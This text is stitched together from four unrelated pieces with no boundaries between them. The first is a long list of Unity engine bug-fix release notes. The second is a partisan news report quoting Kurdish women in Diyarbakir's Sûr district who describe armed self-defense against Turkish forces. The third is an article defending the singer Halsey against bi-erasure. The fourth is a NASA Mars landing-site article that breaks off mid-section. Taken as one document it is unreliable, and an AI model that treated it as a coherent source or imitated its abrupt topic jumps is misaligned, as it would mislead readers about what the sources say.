Editor: Fixed being able to drag a shortcut entry on a modifier key on the virtual keyboard in the Shortcut Manager (1110790)
Editor: Fixed color picker dialog. The color box was showing incorrect gradients as well as the alpha channel slider (1079791)
Editor: Fixed color picker ignores the color hex code when copied with (804231)
Editor: Fixed crash coming from homewindow callback function (1090455)
Editor: Fixed crash when calling RenderTexture.ReleaseTemporary twice for same texture (1091561)
Editor: Fixed crash when creating new brushes without assets (1086739)
Editor: Fixed decimal values using comma instead of dot when OS locale has been changed to non-english language. (1089361)
Editor: Fixed invalid blending of texture with the background color. (1073506)
Editor: Fixed issue in the handling of UnitySetup if an exception is thrown or logged. (1085288)
Editor: Fixed issue LoadSceneAsync would not trigger subscribed callbacks on load (1049526)
Editor: Fixed issue where assets from Unity's built in resources could not be loaded by AssetDatabase.LoadAllAssetsAtPath (1104874)
Editor: Fixed issue where drag'n'dropping a texture onto a gameObject in the scene creates a material with no texture in HDRP projects.
Editor: Fixed issue where signed 8bit ints were checked against the bounds of unsigned 8bit ints during text serialization, this resulted in unnecessary warnings. (1101155)
Editor: Fixed issue with editor crash when reordering game objects in a particular workflow (1097118)
Editor: Fixed issue with filtering of .spm tree models (1082272)
Editor: Fixed issue with labels disappearing when ASCII character set is selected (1068658)
Editor: Fixed issue with Undo not being enabled in a particular workflow (1068662)
Editor: Fixed Memory leaks while selecting audio source in inspector (1086532)
Editor: Fixed MenuItems not being called when pressing the corresponding key combination if the key combination contains the Space key (1106151)
Editor: Fixed missing stylesheet error when closing modal windows (1115057)
Editor: Fixed null reference exception while modifying pre-muscle settings of an Avatar. (1068870)
Editor: Fixed OS locale being used for Editor Windows. (930798)
Editor: Fixed performance issues related to the test runner for projects with many assemblies.
Editor: Fixed potential crash when deleting Assembly Definition Files (.asmdefs) in packages. (1101390)
Editor: Fixed right clicking a shortcut entry in the Shortcut Manager window not selecting the entry (1110804)
Editor: Fixed selected shortcut entry in the Shortcut Manager not being reset when changing categories (1104559)
Editor: Fixed serialization issue for MonoBehaviour's with no script causing a crash in save scene (925313)
Editor: Fixed the bug where renaming an asset via Context Menu-->Rename after searching for it in Project Browser's One-Column Layout would not work (1073306)
Editor: Fixed the issue with project update from 2017.4 to 2019.1 (1099240)
Editor: Fixed the issue with scale handle disappearing when the resolution of the monitor is changed (1077720)
Editor: Fixed the sprite sheet grid artifact when clicking drop-down menus in texture inspector. (1055868)
Editor: Fixed Unwrapping.GenerateSecondaryUVSet not working with meshes having 32bit indices (1096058)
Editor: Generate for mcs.rsp reference (1053714)
Editor: GenericMenu.allowDuplicateNames now works for subMenus (1074892)
Editor: Horizontal and Vertical Layout Group "Child controls size" property has been renamed to "Control Child size" for more clarity. (1090329)
Editor: Horizontal scrollbar added for Preset Manager (Settings) (1087969)
Editor: Improve performance when deserializing uint64 values from text serialized assets
Editor: Linux: Using the "Verify Save Assets" option should now properly work in the Linux Editor (957853)
Editor: Make VisualElementAsset id field deterministic (1100451)
Editor: Null protection when iterating using ExtendVisibleAsChild (1083254)
Editor: Only show "Strip Engine Code" checkbox in Player Settings for platforms which actually support stripping.
Editor: ParticleSystemForceField component has no icon (1084799)
Editor: Remove cursor warning when calling Cursor.SetCursor on a texture loaded from an asset bundle (1028350)
Editor: Remove duplicate for Rider path discovery on Linux
Editor: Removed additional separator in GameObject hierarchy menu (1080882)
Editor: Rename UI Transparency Priority to Renderer Priority in the MeshRenderer component
Editor: Restrict the insertion of menu items into a given submenu to a prescribed limit of 1000 items and displays a warning about the same. (1039181)
Editor: Set the width of Property handler object visible area to its default maximum (1068811)
Editor: Shortcuts defined in the Main Menu / OS Menu now have the prefix "Main Menu/"
Editor: Test Runner console message overlapping the test menu fix (1094277)
Editor: Unity Test Runner will not execute PrebuildSetup code for ignored playmode tests or tests that are disabled on the selected platform
Editor: Update the progress bar window on Linux to use a consistent size (1100653)
Editor: VSCode open multiple windows when using Open C# Project menu (1065936)
Editor: When moving mouse over ListView scrollbar on Windows the cursor changed to a resize cursor (1084972)
Editor: [OSX] Fixed an issue where pressing CMD + Z when changing the project name causes a fatal error. (1092471)
GI: Dinamically load OpenCL.dll installed by the graphics drivers to the system, this ensure safe discovery of the OpenCL devices on various system and configuration. (1085235)
GI: Editor log outputs ''d3d11: failed to lock buffer [HASH].'' while baking using CPU PLM (1095976)
GI: File reading errors with hashID.ghd while baking lighting (1047087)
GI: Fix an issue for LightingDataAssets in Auto-mode were hashing didn't capture a change of scenes. (1094637)
GI: Fix for performance issue where UpdateMaterials are run too often.
GI: Fix for when the lightmap preview window doesn't get cleared when lightmaps are removed. (1082621)
GI: Fixed a bug where a probeset with completely overlapping positions would cause the deringing settings array to become shifted.
GI: Fixed a case where the CPU progressive lightmapper could never finish a bake when LODs were baked (specifically when they would rasterize far outside of the UVs themselves). (1066196)
GI: Fixed an issue where moving a camera in scene view would cause objects to flicker when realtime GI and GPU instancing were enabled. (1053521)
GI: Fixed an issue where the bake could spit out "Assertion failed on expression: 'm_NumInstanceTransforms == m_NumInstanceLODGroups'" and produce incorrect results for scenes with LODs in them. It could occur when entering avatar configuration when baking or making sweeping changes to instances contained in the scene. (1102752)
GI: Fixed an issue with "OpenRL reported error code 501/502: rlBindBuffer/rlMapBuffer" that could occur when entering avatar configuration when baking or making sweeping changes to instances contained in the scene. (1047430)
GI: Fixed by introducing proper round robin sampling between supersamples. (936693)
GI: Fixed documentation for Lightmapping.Clear and Lightmapping.ClearLightingDataAsset
GI: Fixed issue where Baked Albedo and Baked Emissive lightmaps are not shown in the lightmap Preview window after baking GI (1044274)
GI: Fixed LightingData.asset creation, so that only the first lighting generation in non-auto mode marks the scene dirty (in single- and multi-scene scenarios). (1067913)
GI: Fixed the Baked UV Charts debug lightmap (1078533)
GI: Fixed UV Overlap preview not displaying after a manual bake. (1087688)
GI: GICache errors are thrown when baking Terrain with trees having deringing enabled on the light probes (1100362)
GI: GPU Lightmapper: For baking default is to select the same graphic hardware as the editor.
GI: GPU Lightmapper: Stabilize noise when iterating on lighting.
GI: Indirect probe lighting should be affected by the indirect intensity slider in the Progressive Lightmapper. (1060939)
GI: Reflection Probes progress bar doesnt get cleared when cancelling.
Graphics: Added extra validation for RT volumeDepth (1096019)
Graphics: Explicitly disallow destroying of temporary render textures (1070564)
Graphics: Fix async readback when using Vulkan
Graphics: Fix for postprocessing and instanced stereo rendering only a white screen in LWRP (1100898)
Graphics: Fix Inspector Previews using black cubemaps for environment reflection. (1039018)
Graphics: Fix issue with Animator preview not rendering grid in SRP (1044281)
Graphics: Fix out-of-memory when trying to compile shader that uses self-referencing macro (1104217)
Graphics: Fix selection of the correct subshader when rendering with the editor camera.
Graphics: Fixed a rare crash where instancing properties are absent from the MaterialPropertyBlock object sent to DrawMeshInstanced calls. (1115627)
Graphics: Fixed an issue that would crash the editor when copying raw depth buffers. (1040591)
Graphics: Fixed crash with Texture Mipmap streaming scene view debug mode when light maps are recalculated. (1095546)
Graphics: Fixed frame debugger showing bad keywords on some cases when connected to standalone playe (1070614)
Graphics: Fixed frame debugger texture tooltip to show correct dimension info for 3D textures
Graphics: Fixed loading of compressed texture with incomplete mipmap chain (1045189)
Graphics: Fixed memory overwrites in DX11 render target setting code.
Graphics: Fixed Package Manager UI not rendering correctly on GLES2. (1108286)
Graphics: Fixed texture streaming crash bug which showed up when disabling and enabling renderers (1061165)
Graphics: Fixed Vertex Compression not working for vectors with odd dimensions (positions and normals) (1078795)
Graphics: Fixed WARNING message on Mac Editor with Android build target were a warning shows up for decompressing ETC textures also that the expected behavior because desktop GPUs don't have native ETC format support (1115543)
Graphics: Force rebaking of Reflection Probes in the Editor when changing the shader code of the Renderers used in baked Reflection Probes (1020358)
Graphics: HDR Mode in Graphics Settings is respected in LWRP (1104140)
Graphics: MeshTopology.Quads generates a draw call that uses 3 point patches instead of 4 point (1078885)
Graphics: Metal/iOS: Fix scissor/viewport handling when used with Dynamic Resolution feature
Graphics: Metal: Fix vertex/hull shader program translation into a tessellation compute kernel when there is no vertex input (1086957)
Graphics: Metal: Fixed a performance issue that prevented GPU drivers from utilizing internal texture compression (did not apply to RenderTexture)
Graphics: Metal: Fixed crash when creating Texture2DArray with a YUY2 TextureFormat (1094777)
Graphics: Metal: Fixed crash when user created RT has unsupported sample count (1095433)
Graphics: Reinstate support for reading terrain brush textures. (1102243)
Graphics: Rename Renderer Priority by Priority in the MeshRenderer component as requested by the doc team
Graphics: Skip shadow lights and shadow casters culling when shadows are disabled (1072624)
Graphics: Unity could crash if infinite dependency loop between "UsePass" and "Fallback" (1068293)
Graphics: Vulkan: Fixed a race condition between updating ComputeBuffers from script and rendering from them within Graphics jobs
IL2CPP: Fix crash during managed code stripping when system language is Turkish (1083122)
Input: Correctly set/get sampling frequencies for sensors on iOS and Android platforms in the new input system.
iOS: Added an option to player settings to not add Game Center and Push Notifications Capabilities to Xcode project even if the project had code using those frameworks (1101266)
iOS: Fix LWRP crash on several SoC's (1098913)
iOS: Fix warnings related to launch image that were thrown when building for iOS in Xcode 10 (1085602)
iOS: Fixed a crash when forcing Portrait Upside Down orientation on iPhone XS/XS Max (1085662)
iOS: Fixed bug where changing Screen.orienation on some iOS devices would not update variable that holds the current orientation state (1088729)
iOS: Fixed DiscardContents and GrabIntoRenderTexture interop on Metal (1082159)
iOS: Fixed full screen movie resetting after app minimize on iOS (840951)
iOS: Fixed incorrect Screen.safeArea on plus sized iPhones (1087954)
iOS: Fixed issue when Screen.allowedOrientations are updated every frame (1103167)
iOS: Fixed occasional crash when destroying WebCamTexture (1090053)
iOS: Fixed possible crash on app exit when destroying static objects (1050875)
iOS: Fully uncoupled accelerometer from gyroscope as it should be (1085244)
iOS: iOS: fixed more issues with reporting orientation when autorotating and tweaking enabled orientations (1075839, 1075855)
iOS: Keyboard.onTextInput, Keyboard.onIMECompositionChange will be correctly called for physical and virtual keyboard events.
iOS: Remove the DISABLE_TOUCH_DELAYS define, Defer system gestures options in Player Settings should be used instead (available from iOS 11) (1087337)
Kernel: Fixed temp job warning in C# jobs when job was executing for longer than one frame
Linux: Fix for Editor windows repaint bug (Ubuntu 16.04) (1107716)
Linux: Fixed issue where tabs were incorrectly processed twice. (1080441)
Linux: Fixed touchpad scrolling being too sensitive in the Linux Editor (1073152)
Linux: Linux and Mac will now launch the BugReport crash handler when a SIGABRT is sent. (1074324)
Linux: Linux: Crash in UnityEngine.Input.GetJoystickNames when controllers are removed & reconnected (1080508)
Linux: Resolve an issue where double-clicking on Linux Standalone Players did not function in Nautilus. (1047075)
Lumin: Fix an issue where the minimum platform API level in a custom manifest was not being respected.
Mobile: Fix Ambient Occlusion in PostProcessing v2 on mobiles (1059893)
Mobile: Fix Standard shader artifacts on mobiles
Mobile: Fixed flickering on objects when dynamic batching is enabled (1061477)
Mobile: Support for Bluetooth headphones microphone for both Android and iOS (946201)
Mobile: [iOS][Metal] Always stretching the final render to the full screen, no letterbox when rendered image aspect ratio does not match the aspect ratio of the screen (1077959)
Multiplayer: Fix syncvar variables sequential refreshing issue. (1085466)
OSX: Fixed "Using Metal Editor" now showing (1094058)
OSX: Fixed an issue building the Mac Editor using customer source code distributions
OSX: Fixed case where color picker would not properly select color when cursor size was beyond normal size (1074188)
OSX: Fixed GPU selector being always disabled (1055634)
OSX: Fixed MacOS player crashing when Resolution Dialog looses focus (1106074)
OSX: Fixed resolution crash when setting to invalid values via script (1070915)
Package Manager: Add a confirm dialog and trace when user selects "Reset Packages to defaults" in "Help" menu (1066143)
Package Manager: Fix an issue that prevented specific native plugins to be correctly identified the second time a project was loaded.
Package Manager: Fix error message when dragging Packages folder on to Favorites section (1084176)
Package Manager: Fixed an issue where cancelling import of package assets would still result in those assets being imported after restarting Unity. The Cancel button of the asset import progress bar is now disabled. (1104196)
Package Manager: Not installed packages are shown in package manager window (1098870)
Package Manager: Open offline documentations when the online ones are not accessible.
Package Manager: Packages, that are imported as dependencies for other packages, are not shown in Package Manager UI (1057210)
Particles: Added error message when trying to use a statically batched mesh in the Particle System (1075564)
Particles: Fixed prewarm bug causing particles to emit incorrectly (1064065)
Particles: Inverted how spherical wind zones affect Particle Systems, to fix inconsistency between particles and trees (1053956)
Particles: Multi-selecting billboard and mesh particles hid the particle material slot in the inspector (1077827)
Particles: Particle sorting was incorrect with ortho camera with negative near clipping plane when using sort by distance (1056469)
Particles: Particle start speed now uses sub-frame time to distribute valuise correctly when using Curve modes (1063952)
Particles: Particle System bounds ignored Shape Y scale when using Rectangle emission shape (1064275)
Particles: Particle system bounds were incorrect when particles used meshes with a large offset pivot in the model data. (1090863)
Particles: Particle trails could be culled incorrectly when using the World Space trails option. (1089679)
Particles: Particles with the Render alignment set to "Facing" billboarded incorrectly with directional lights (1072493)
Particles: Setting the scale of a GameObject didn't adjust the Pivot value of a StretchedBillboard ParticleSystem (1068381)
Particles: Sub Emitter particles were not randomized when using Auto Random Seed (1068735)
Physics: CharacterController will now ignore Rigidbodies that have their collision detection turned off (984035)
Physics: Ensure that 2D trigger/collision exit callbacks occur when destroying a GameObject inside a 2D trigger/collision callback (1057320)
Physics: Ensure that 2D trigger/collision exit callbacks occur when disabling a GameObject or 2D collider component. (1071700)
Physics: Fix a crash in the 2D physics manager on iOS upon start-up when Physics2D package is disabled. (1080899)
Physics: Fix crash when adding a MeshCollider without CookingOptions.CookForFasterSimulation. Fixed by PhysX 3.4 Upgrade. (1041838)
Physics: Fix issue when copying and pasting cloth component values. (975495)
Physics: Fix issue where physics internal query data may not be updated if there are only static colliders in scene , causing shape cast issue (1064897)
Physics: Fix poor performance of self and inter collision gizmos for cloth. (963985)
Physics: Fixed an issue where raycast may fail on terrain collider (1063586)
Physics: RelativeJoint2D now correctly handles rotation. (1103365)
Physics: Stop NullReferenceException due to sprite-snapping when dragging a Joint2D anchor when the same GameObject contains a SpriteRenderer without an assigned Sprite. (1077680)
Prefabs: Added localization to Overrides window and PrefabUtility dialogs.
Prefabs: Editor crashes with PrefabImporter::GenerateAssetData when importing "PBR Flower Pack" Asset (1084315)
Prefabs: Fix null reference exception when clicking on text "No Overrides" in Overrides dropdown after applying changes via Comparison view. (1099228)
Prefabs: Newly create prefab variant's name contains entire path when the original prefab is not directly under the Assets folder (1082940)
Prefabs: Result is missing from OnWillCreateAsset() when the method is called by creating a Prefab (1087603)
Prefabs: [Nested Prefabs] "PPtr cast failed when dereferencing! Casting from PrefabInstance to Prefab!" after upgrading Corridor scene (1065694)
Profiler: Fix increased memory usage by profiler for long lasting background operations. (1094748)
Profiler: Fixed coroutines naming in profiler. (1033280)
Profiler: Fixed Profiler stats recording when profiling Editor with runtime profiler API. (Profiler.enabled)
ps4: Clear htile buffer at allocation to avoid potential depth buffer corruption
ps4: Fixed compiling of PS4 when not using lumping
ps4: Fixed correct reporting of default new and delete allocations
ps4: Stopped script only builds for non-development configurations
Scripting: Add System.Data.dll in the references (1075265)
Scripting: Allow extra optional characters than whitespace after preprocessor directive if and elif (1104428)
Scripting: Assigning a custom Debug.logger.logHandler intercept thrown exceptions (753944)
Scripting: CSharpNamescapeParser throws InvalidOperationException, fixing precendence checking for CSharpNamespaceParser. (1099297, 1101447)
Scripting: Disallow modifications of serialized data in m_Component on GameObject (1022204, 1082089)
Scripting: Fix crash when a GameObject instantiate a new GameObject on the parent during OnDestroy callback and the whole hierarchy is being destroyed (1121506, 1125293)
Scripting: Fix crash when adding multiple components of a disallowed type (959136)
Scripting: Fix invalid UTF8 characters from imported assets. (1086920, 1114945)
Scripting: Fix so we can stop yielded Coroutines deeper than 3 (1089467)
Scripting: Fixed a bug where building players with "using alias" directives pointing to types in other assemblies if those types were not actually used would fail.
Scripting: Fixed: originalProjection variable in Camera.projectionMatrix Scripting API example is not initialized (1097500)
Scripting: Generate fullpath for response file references (1068300)
Scripting: Improved handling and added error in cases where text serialised data is malformed, corrupted or in a unexpected state (1071531)
Scripting: Improved performance when calling GameObject.AddComponent for a nested MonoBehaviour class inside a namespace (1085304)
Scripting: When fields in an object are null and you use ToJson() to serialize it, the fields will still not be null in the resulting JSON, but they will no longer be modified in the source object (942547, 1124727)
Scripting Upgrade: Fixed crash in ScriptUpdater.exe when code contains qualified references to methods of type that were statically imported (#using static). (1081267)
Scripting Upgrade: Fixes APIUpdater crash when project path contains $ char (1088028)
Shaders: Fixed edge/inside tesselation factors being improperly handled by metal shader compiler (1065883)
Shaders: Fixed surface shaders analysis step sometimes missing inputs when keepalpha is specified (864173)
Shaders: Made editor log on shader compiler crashes more clean and useful. (1097215)
Shaders: Zero-init appdata in domain surface shader to avoid compiler error about out parameter not being fully inited (1065883)
SpeedTree: Fixed collision object importing from SpeedTree v8 assets.
Terrain: "Remove Light Probe Ringing" setting now can be serialized and undone. (1093751)
Terrain: Fixed border artifacts when terrain height is painted (1098118)
Terrain: Fixed crash when terrain with empty trees database moved in scene view (1087072)
Terrain: Fixed selection outline of terrain to work from the back side as well (1098438)
Terrain: Terrain auto-upgrade on load is now recognized as having been updated. (1081612)
Timeline: Fix events send twice when just before the end of a clip (1017658, 1022016)
UI: Cache referencePixelsPerUnit when canvas parent is disabled (1066689)
UI: Do not make the material dirty when rendering with a RectMask2D (967024)
UI: Fix bug where Dropdown doesn't close when clicking outside it under certain cicumstance (1064466)
UI: Fixed case where inputfield cursor wouldn't be positionned properly (1083649)
UI: Fixed case where ui filtering in scene view did not function properly (1064210)
UI: Fixed issue where loading a scene with an orphaned ui component would cause a crash (1085469)
UI: Fixed issue where nested canvases with canvas scalers wouldn't work properly (1033895)
UI: Fixed issue with enabling canvas and polling its RectTransform data in awake/ Start returning incorrect values for root RectTransforms.
UI: Fixed issue with nested canvases with canvas groups and custom alphas not working properly (1084745)
UI: Fixed the bug where changing the Constraint Count for a Grid Layout Component would cause a Division by Zero Error. (1075194)
UI: Fixing Image component inspector which would break undo when a sprite is replaced. (1114240)
UI: Fixing issue with CanvasGroup.Alpha not affecting nested Canvas's UI elements. (1109916, 1123919)
UI: Fixing issue with UI Scrollbar blocking prefab mode. (1115796)
UI: PhysicsRaycaster and Physics2DRaycaster now support multiple-displays. (1027701)
UI: Prevent memory allocation that happen every frame in CanvasScaler.Update(). (1105332)
UI: UIElements: fix UXML factories not initialized when creating instantiating assets at Editor startup (1045535)
UI: UIElements: Fixed ListView.Refresh computing incorrect offset for first row when item source changes
UI: UIElements: Fixed PopupField text overflow
UI Elements: Address issue with UXML template instance always appearing at the end of their parent. (1104566)
UI Elements: Can now close a window from a scheduler callback without errors (1098721)
UI Elements: Fixed the behaviour of all TextField and numeric field when pressing Enter, the control is now leaving edit mode. (1096200)
UI Elements: Fixed the behaviour of all TextField and numeric field when pressing Escape, the older value is now restored. (1096199)
UI Elements: Fixed the VectorXXFields going on 2 lines when the window is made small. (1049285)
UI Elements: Fixed UIElements not responding correctly to Return key, Keypad Enter Key, and space key for Toggle, GradientField, CurveField, ObjectField, EnumField and all popup related fields.
UI Elements: List View selection is now dimmed when the view doesn't have keyboard focus (1085251)
UI Elements: ObjectField: Pressing delete now clears contents (1062184)
Universal Windows Platform: Addresses unhanded exception when issuing WebRequest with URI consisting of domain name and port (1066792)
Universal Windows Platform: Builds now fail if the certificate is expired (1022794)
Universal Windows Platform: Fix InputField text selection so it works on Windows 10 touch-enabled devices (1002834)
Universal Windows Platform: Fixes an assert triggered when Xbox gamepads are disconnected in some situations (1080114)
Universal Windows Platform: Fixes Animator changing GameObject's position when animation job is empty (1095938)
Universal Windows Platform: Fixes build error in Editor when using Entities package for UWP (1067528)
Universal Windows Platform: Fixes characters not dispatched to NewInput (1097242)
Universal Windows Platform: Fixes nullptr Exception thrown by WebCamTexture when stopping video playback causing memory leak (1036939)
Universal Windows Platform: Fixes Stereo Display (non head-mounted) VR SDK being unavailable (1033346)
Universal Windows Platform: Fixes Visual Studio warning from generated UWP project concerning missing VS2015 toolset (1091279)
Universal Windows Platform: Fixes WebCamTexture failing to play in certain (rare) situations (1044635)
Video: Disregard unsupported stream on Windows (1065499)
Video: Fix crash when calling Prepare() on a VideoPlayer component held by a delay destroyed GameObject (1096915)
Video: Fixed crash on specific avi video files on windows (1088203)
Video: Fixed crash on specific MPEG2 video files on windows (1082071)
Video: Fixed video with 6 audio channels crashes when switching between videos on iOS (935497)
Video: Improved VideoPlayer network error handling on Windows (1051461)
Video: Resolved VideoPlayer player is paused when unplugging headphones (1086705)
Video: VideoPlayer Camera Plane targets now visible in SRP (1024877)
Video: VR single-pass instancing mode is now supported by the VideoPlayer (950205)
Video: [Recorder] Frame rate drops drastically when using Movie Recorder to record as WebM (1052060)
Web: Fix disposing WWW object that has been yield returned from coroutine. (1117213, 1120581)
WebGL: Fix Application.Quit() and memory cleanup (1032870)
WebGL: Fix for camera viewport rect bug in WebGL with linear color space (957652)
WebGL: Fixed build window linear color space compatibility check (1105479)
WebGL: Fixed Editor preventing to build for WebGL when Linear Color space is enabled (1103083)
WebGL: Fixed Performnance Reporting integer overflow in WebAssembly development builds.
Windows: Fixed Application.isFocused returning true if the player has been minimized before the first scene loaded (1080560)
Windows: Fixed editor freezing when certain devices (Steinberg UR 22 mk II, Cronus MAX) are connected to the computer (917526)
Windows: Improved error messages after failing to load native plugins on Windows Standalone and UWP if one of their dependencies is missing (1083178)
Windows: Improves ExclusiveFullscreen resolution not being set if/when DXGI fails to apply requested resolution (1058040)
XR: Fix for VR tree shader using Alpha-to-Coverage when MSAA is disabled (1074421)
XR: Fix player crash when using Google Cardboard API (1102049)
Women in the Sûr district of Diyarbakir, where attacks by Turkish security forces have killed 9 people in recent months, have declared their intentions to take part in the self-defense of the neighborhood, saying that ‘It will be Kurdish women who destroy the AKP’s power” – reports an article from JINHA carried in Özgür Gündem. Women in the neighborhood
Self-defense forces are forming in cities across Kurdistan in response to recent attacks orchestrated by the ruling AKP and President Erdoğan. In the Sûr district of Diyarbakir Turkish security forces have declared martial law 6 times in the last three months and killed 9 local civilians, three of them children. In response local women in Sûr have formed self-defense units, stating that “it is us who will defend our children.”
They Tortured Our Children
Şerife, who has been defending her home from state attacks for the past three months, explained her experiences in the neighborhood: “Whenever the police enter our neighborhood we go into action. They used to torture our children right in front of our eyes. They would break down our doors and come into our homes. They would go up to our roofs to position their snipers. We decided together to take up arms against all of this. The President and Prime Minister of Turkey are saying that the PKK is here however there is no PKK in Sûr, there is the people. We are defending ourselves and our children in our own neighborhood. We are the people, and it is us who are building these positions. We are not afraid of death, we have nothing to lose.”
There Is No PKK Here Only Mothers
Makbule, another local woman, called on people of all ages to take part in the resistance, saying “there is no PKK here, here there are mothers supporting their children. If necessary seventy year-old women will come out to fight against the 14 year tyranny of the AKP. It is Kurdish women who will destroy AKP’s power. They say that ‘women are honor.’ For us it our our land and our country that is our honor. We will not leave Sûr until it has been liberated.”
It Is Öcalan Who Can Stop This War
Hatice, another local with 3 children in prison, expresses herself thus: “I will never abandon this struggle after the torture my children received. I am calling on everyone to take ownership of their neighborhoods. But let the whole world know that until PKK leader Abdullah Öcalan is free neither Kurds nor Kurdistan will be free. Only Abdullah Öcalan can stop this war.”
Lend Your Voice To Ours
Felek, another local woman taking part in the Sûr resistance, told reporters that “there is a huge resistance now being shown in places such as Silvan, Silopi, Cizre, Nusaybin, Lice and Sûr. However as it goes on this resistance needs to grow even more. No matter how many more tanks and artillery they bring here they will not be able to break this resistance. Today is a day for unity. We are calling on everyone to take part in this resistance and to lend their voice to ours.”
Photo: Instagram (@iamhalsey)
Singer/songwriter Halsey has definitely been making waves in the music industry lately, especially with her most recent feature in The Chainsmokers' latest hit song "Closer" hitting platinum. But it's a BuzzFeed article that's made the most noise as of late, and not for good reasons. In the article, titled "What Does A Queer Pop Star Look Like In 2016," the writer attempts to break down the openly bisexual singer's seemingly more "femme" presentation and interactions with straight men as a means of conforming and "acting straight" for more mainstream audiences. The article reads:
"Embracing queerness—hers, and that of her fans—helped get Halsey here. But will she have to tone down that embrace in order to stay?"
People who are bisexual are consistently challenged by not just mainstream media, but also the LGBT community, and Halsey swiftly responded to the bi-erasure with a series of tweets (she's since deleted).
"Sorry I'm not gay enough for you," read one tweet.
She continued:
"...tiresome analysis of my 1 year in the public eye and the ignorance of 8+ years of sexual discovery to determine if I’m truly queer + is part of a mentality so engrained in the erasure of bisexual ‘credibility’ even within the lgbt community.”
YouTuber and writer Gaby Dunn, who also identifies as bisexual, was quick to come to Halsey's defense,
Weird to write an article on how you shouldn't police a person's queer expression while policing the way a person expresses their queerness! — GABY DUNN (@gabydunn) September 17, 2016
The cool thing about being bi (which @halsey literally says she is) is that even if she has long hair and kisses a dude? She's still bi! — GABY DUNN (@gabydunn) September 17, 2016
You don't have to wear combat boots and have a buzzcut or even have a girlfriend to be a bi woman. In case you're wondering, these are the things you need to identify as bisexual:
1. Identify as bisexual.
End of list.
The LGBT community needs representation like Halsey's. She is as much a part of the community as any other queer person, and she's even more of a pioneering force because her outward appearance challenges ignorant sterotypes about bi and queer people perpetruated in our media.
At the end of the day, it's never a fair critique to base someone's sexual identity on the way that they look. Even I've been wrongly skeptical of people who identify as bi because of ideas I've adopted of what that means to me. However, in situations involving someone's sexuality, nothing matters but how that person identifes, and you don't get to deny that.
To imply Halsey looks more feminine now to be more mainstream is to totally deny her autonomy as an artist and a grown woman. She doesn't owe anyone their concept of what bi looks like. Sure, we all feel pressure to fit within a heteronormative world as queer people, but using Halsey's appearance and the fact she interacts with straight, cis men as a way to challenge her bi identity is a nonstarter. Bisexual means a person can be attracted to more than one gender, so to discount her attraction to men as "straight" is to continue to erase a part of her bi identity.
The crux of the article's argument is based on the idea that if you do not look a certain way, than how are you really representing the queer community? And therein lies the problem because—say it with me—bisexuality doesn't have a "look!" Bi-erasure is alive and well, and one of the biggest ways it rears its ugly head is by claiming that if someone doesn't "look" queer enough, then clearly they are running away from their queerness. Halsey is no less bi with long hair and a boy crush than she would be with a blue buzz cut and a partner that is a woman. Not to mention, no one even knows who Halsey is dating and that's none of our business anyway. Halsey stated it best in an interview with Rolling Stone...
“The funniest thing is that the biggest battle that I’ve had to overcome in my career was not being bisexual, was not being biracial, was not being bipolar. It was everybody thinking that I was exploiting those things.
NASA's quest to put boots on Mars in the 2030s is advancing, bolstered by new studies about a multifunction, next-generation Mars orbiter and the best ways to use Red Planet resources to sustain astronaut pioneers.
Last year, scientists proposed nearly 50 locations on Mars as possible places for future human landings. Those landing-zone sites contain "regions of interest" that can be reached from primary touchdown spots.
Good touchdown sites will allow crews to land safely and carry out operations; offer a wealth of interesting science activities; and provide resources that the astronauts could use. For example, any favored exploration zone should allow expeditionary crews to tap into at least 100 metric tons (110 U.S. tons) of water, NASA officials have said. [Watch: How Mars Landing Sites Will Evolve for Astronauts]
Landing-site wish list
With its suite of instruments and cameras — particularly the sharp-shooting High Resolution Imaging Science Experiment (HiRISE) — NASA's Mars Reconnaissance Orbiter (MRO) is being put through a request process called "HiWish" to snag new images of landing-zone candidates."NASA's Human Exploration and Operations Directorate has begun to think about where human explorers should go on Mars, and what conditions and resources, as well as what science targets, may be present," said HiRISE principal investigator Alfred McEwen, director of the Planetary Image Research Lab at the University of Arizona in Tucson. "This is a sign that they are actually thinking about sending people to Mars." "Hopefully, this new interest in Mars will include support for future robotic missions needed to answer key questions," McEwen told Space.com.
Last year, scientists identified nearly 50 prospective human landing zones on Mars — locations that are safe, scientifically promising and resource-rich. (Image: © NASA)
New Mars orbiter
Indeed, many experts within and outside NASA would like the agency to launch a multifunctional, next-generation Mars orbiter, the potential benefits of which were laid out in a report published in December by the Science Analysis Group of the Mars Exploration Program Analysis Group.
NASA is considering launching a multifunctional, next-generation Mars orbiter sometime in the 2020s. Among other tasks, this spacecraft would scout out resources to help sustain human expeditionary crews. (Image: © NEX-SAG)
This Mars orbiter could employ solar electric propulsion, carry advanced telecommunications gear and make use of powerful radar to scout out and better classify Martian resources for human landing parties. If approved, the spacecraft may be headed for Mars as early as 2022, NASA officials have said.
NASA has allocated funds to take some "very early preformulation" looks at a new Mars orbiter, said Steve Jurczyk, associate administrator of the Space Technology Mission Directorate at NASA headquarters in Washington, D.C. No mission is yet planned for 2022, he said, but a Mars telecommunications orbiter is under consideration, given the advanced age of some of NASA's current orbiters. (Mars Odyssey launched in 2001, for example, and MRO lifted off in 2005.)
"We use orbital assets at Mars for telecommunications relay from the surface … and they are getting a little long in the tooth," Jurczyk told Space.com.
Mission planners are thinking about adding a couple of technologies to a prospective Mars orbiter, Jurczyk said — perhaps high-power electric propulsion. Deep-space laser communications technology, which could boost bandwidth capabilities by a factor of 10 compared to standard radio-frequency hardware, might be on board as well, he added.
Pay dirt
Last month, NASA released the Mars Water In-Situ Resource Utilization (ISRU) Planning Study, which looked into how astronauts could tap into Red Planet water.
"There's an intuitive gut-level view," said Richard Davis, assistant director for science and exploration in the Science Mission Directorate at NASA headquarters. "Human beings in general don't go where there isn't water. That intuition is actually on the mark for Mars."
One small step — with big expectations to eventually homestead the Red Planet. (Image: © Bob Sauls/XP4D/M. Wade Holler, Digital Content and Media Strategy Explore Mars Inc. Used with permission.)
Water on Mars is transformative, and not just for drinking and growing crops, many experts believe. Processing the stuff can generate breathable oxygen and propellant for Mars ascent vehicles, among other things that could aid extended human stays on the Red Planet.
"We're starting to converge on an attack plan that starts with reconnaissance," Davis told Space.com. The pay dirt on Mars is water, he added. [Human Mars Exploration: How Landing Sites Could Evolve (Video)]
Davis, who worked on the ISRU report, said new data from orbit are needed to identify Martian resources that expeditionary crews could use. But orbital information by itself is probably not enough, he added.
"In the end, you need ground-truthing by sending a lander to what you think is the human landing site to validate [resource availability]," Davis said.
Water extraction
One resource option the report ruled out is the extraction of water from the thin Martian atmosphere.
Setting up a semi-permanent Mars base will require crop growth on the planet to sustain explorers far from Earth, experts say. (Image: © NASA)
